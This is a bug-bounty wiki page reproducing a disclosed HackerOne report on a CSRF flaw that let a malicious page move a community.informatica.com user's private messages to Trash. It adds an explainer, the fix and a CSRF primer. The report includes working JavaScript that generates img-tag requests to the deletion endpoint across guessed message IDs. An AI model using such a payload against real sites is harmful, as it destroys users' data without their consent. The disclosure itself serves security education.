Skip to content
CSRF Disclosed report Beginner

[community.informatica.com] - CSRF in Private Messages allows to move user's messages to Trash

The private message deletion endpoint did not check a CSRF token or Referer header, so an attacker could make a victim's browser send requests to move messages to Trash. Because Trash is emptied daily, the victim could permanently lose messages.

artem Follow

Originally disclosed on HackerOne

  • Triaged in 9 months
  • Fixed in 12 months
  • Disclosed after 13 months

Hello,

https://community.informatica.com/pm-delete.jspa doesn't check Referrer header or CSRF token when you move a message to Trash. As a result, an attacker can implement CSRF attack, and make a victim move messages to Trash. Then, according to the message on Trash page (https://community.informatica.com/pm.jspa?folderID=4), Trash is emptied daily. So a victim can lose messages.

To remove a message, an attacker needs to know a message ID. Message IDs seem to be global, so an attacker can do the following:

  • guess the current max message ID (for example, an attacker can send a message to yourself, and use this message ID)
  • try to remove N messages with IDs that belong to an interval [max_message_id - N, max_message_id]

For example, a script like the following may be placed on attacker's page:

<html> <body> <div id="delete"></div> <script> var start_message_id = 16000; var message_count = 100; var text = ""; var message_id = start_message_id; for (i = 0; i < message_count; i++) { text += "<img src=\"https://community.informatica.com/pm-delete.jspa?1&messageID=" + message_id + "\"\/>"; message_id++; } document.getElementById("delete").innerHTML = text; </script> </body> </html>

When a victim loads the page above, the script will remove messages with IDs from 16000 to 16100. The script above sends a GET request for each possible message. As a result, it works quite slow. So it might be hard to remove all users messages because a victim should stay on the page before the script is finished.

I tried to modify the script above to send a request for a batch of messages:

<script> var start_message_id = 15900; var message_count = 200; var N = 1; var text = "<img src=\"https://community.informatica.com/pm-delete.jspa?1"; var message_id = start_message_id; for (i = 0; i < message_count; i++) { text += "&messageID=" + message_id; if (i != 0 && i % N == 0) { text += "\"\/>"; document.getElementById("delete").innerHTML += text; text = "<img src=\"https://community.informatica.com/pm-delete.jspa?1"; } message_id++; } </script>

But it doesn't seem to work fine. Seems the application stops removing if it finds not existing message ID.

Anyway, it can damage user's data a lot. Please take a look.

Artem

The original report as published on HackerOne, by artem. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A victim could lose private messages because they are moved to Trash, which is emptied daily; the attack is slow and may fail if the victim leaves the page early.

What the attacker needed

Victim is logged in; victim visits attacker's page; attacker guesses message IDs

The fix

The endpoint should check a CSRF token or Referer header.

How it was found

  1. Guess the current maximum message ID, for example by sending a message to yourself and noting its ID.
  2. Create a malicious page that loads many image tags, each pointing to the message deletion endpoint with a different message ID.
  3. Trick a logged-in victim into visiting the malicious page.
  4. The victim's browser sends the requests, moving messages with those IDs to Trash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in to a website, your browser automatically sends your session cookie with every request to that site. If a page does not check for a special secret token, another website can make your browser send a request that you did not intend, like deleting your messages. This is called cross-site request forgery (CSRF).

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by artem

View all

2 more disclosed reports, best first.

More from Informatica

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.